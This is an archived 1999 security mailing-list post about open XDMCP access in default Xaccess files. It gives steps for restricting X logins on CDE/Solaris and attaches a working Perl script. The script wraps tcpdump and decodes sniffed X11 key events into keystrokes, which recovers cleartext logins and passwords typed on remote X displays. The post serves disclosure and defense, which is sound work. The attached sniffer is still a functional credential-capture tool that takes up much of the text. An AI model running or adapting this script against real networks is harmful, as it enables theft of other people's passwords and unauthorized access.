Re: XDM Insecurity revisited

From: Dave Plonka (plonkaat_private)
Date: Thu Aug 19 1999 - 09:55:49 PDT

  • Next message: routeat_private: "Announcement [new mailing list]"

    --UugvWAfsgieZRqgk
    Content-Type: text/plain; charset=us-ascii
    
    On Wed, Aug 18, 1999 at 12:26:20PM +0200, Jochen Bauer wrote:
    > On Wed, 26 Nov 1997 Eric Augustus (augustusat_private) posted a message
    > on BUGTRAQ about the fact, that the default Xaccess file allows XDMCP
    > connections from any host. As you know, this can be used to get a
    > login screen on any host and therefore get around access control
    > mechanisms like tcpwrapper and root login restriction to the console.
    >
    > However, this warning seemed to have little effect as (at least)
    > Digital Unix 4.0E, SuSE Linux 6.1 and Red Hat Linux 6.0 are still
    > (1.5 years later) shipped with this default Xaccess file.
    <snip>
    and with CDE on our Solaris 2.6 machines as well.  (I haven't checked
    CDE under 2.7 yet.)
    
    I agree that this reminder about locking-down X login is justified...
    
    Sys admins who shut-out clear text-based logins (such as telnet) in
    favor of ssh, for instace, should also be limiting X logins as well,
    since it's nearly as easy to sniff and decode the raw X events to
    derive the clear-text logins and passwords.
    
    See the attached "proof of concept" script that I used to demonstrate
    this to admins who were under the impression that X-based logins were
    somehow secure from login/password sniffing.  It's a quick hack but
    worked with an XFree86 server logging in via Solaris 2.6 dtlogin. YMMV.
    (I.e. please don't tell me that it doesn't work - it was written for
    one-time use... the X KeyCodes in the script can be modified for your
    target X server.)  The script arguments are just passed allong to
    tcpdump, so usage is something like:
    
       $ xtcptrace src xterminal and dst loginhost
    
    Secondly, for CDE environments such as Solaris, which use an xdm-derived
    model, here's a bit of detail about how folks can restrict X login access:
    
    1) If "/etc/dt/config/Xaccess" doesn't exist, copy it from "/usr/dt/config".
       Comment-out this line (as show here) of "/etc/dt/config/Xacccess":
    
       #*               CHOOSER BROADCAST       #any indirect host can get a chooser
    
       Then you can add specific X servers by hostname or IP address at the
       end of the "Xaccess" file.
    
    2) send SIGHUP to the *parent* dtlogin daemon process.
    
    For further details see the section labeled "The Xaccess File" in the
    dtlogin(1) man page.
    
    Dave
    
    --
    plonkaat_private  http://net.doit.wisc.edu/~plonka  ARS:N9HZF  Madison, WI
    
    --UugvWAfsgieZRqgk
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: attachment; filename=xtcptrace
    
    #! /usr/local/bin/perl
    
    # xtcptrace - a tcpdump "wrapper" to decode X KeyCodes
    # Dave Plonka <plonkaat_private>, Aug 27  1998
    
    $tcpdump='/path/to/tcpdump';
    
    if (! -x ${tcpdump}) {
       print STDERR "You don't seem to have execute permission on \"${tcpdump}\".\n";
       exit 1
    }
    
    # X KeyCodes...  These can be determined using xkeycaps(1), for example.
    # I assume these are well documented somewhere.
    # Remember we're watching key presses here, not the resulting X KeySym or
    # ASCII character.  So a '[SHIFT]' preceeding an 'A' is probably a capital
    # letter A, etc.
    %code = (
    0x0A => '1', 0x0B => '2', 0x0C => '3', 0x0D => '4',
    0x0E => '5', 0x0F => '6', 0x10 => '7', 0x11 => '8',
    0x12 => '9', 0x13 => '0', 0x26 => 'A', 0x38 => 'B',
    0x36 => 'C', 0x28 => 'D', 0x1A => 'E', 0x29 => 'F',
    0x2A => 'G', 0x2B => 'H', 0x1F => 'I', 0x2C => 'J',
    0x2D => 'K', 0x2E => 'L', 0x3A => 'M', 0x39 => 'N',
    0x20 => 'O', 0x21 => 'P', 0x18 => 'Q', 0x1B => 'R',
    0x27 => 'S', 0x1C => 'T', 0x1E => 'U', 0x37 => 'V',
    0x19 => 'W', 0x35 => 'X', 0x1D => 'Y', 0x34 => 'Z',
    0x40 => '[ALT]', 0x41 => ' ', 0x42 => '[CAPS LOCK]', 0x32 => '[SHIFT]',
    0x24 => '[RETURN]', 0x16 => '[BACK SPACE]',
    );
    
    open(STDIN, "${tcpdump} -l -x -s 65535 -v @ARGV|") || die;
    select(STDIN); $| = 1;
    select(STDOUT); $| = 1;
    while (<STDIN>) {
       # This is a total kludge below - we only look at 32 byte packets since
       # that is the size of an xEvent.  However, we may miss some events because
       # they can be grouped together in one packet.  So really, any multiple of
       # 32 (e.g. 64, 96) could also contain xEvents.
       if (m/^\d\d:\d\d:\d\d\.\d+\s+.*\.6000\s+>\s+.*\(32\)/) {
          scalar(<STDIN>); # discard
          scalar(<STDIN>); # discard
          $_ = scalar(<STDIN>);
          # Another kludge - the magic numbers in the line below (0x5018,  0x7d78,
          # etc.) were discovered by watching xEvents with tcpdump(1).  I don't
          # know that they'll have those values from all X servers or what.
          # Probably, the xEvent typedef struct, as defined in <X11/Xproto.h>,
          # should be grokked to implement this correctly.
          # The Right Thing(tm) would probably be to pack the packet content as
          # a 32-byte scalar, then unpack it into it's appropriate structure
          # members.
          if (m/5018\s+7d78\s+[0-9a-f][0-9a-f][0-9a-f][0-9a-f]\s+0000\s+03([0-9a-f][0-9a-f])/) {
    	 if ($c = $code{hex($1)}) {
    	    print "$c\n"
    	 } else {
    	    print "KeyCode 0x$1\n"
    	 }
          }
       }
    }
    
    exit
    
    --UugvWAfsgieZRqgk--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:57:29 PDT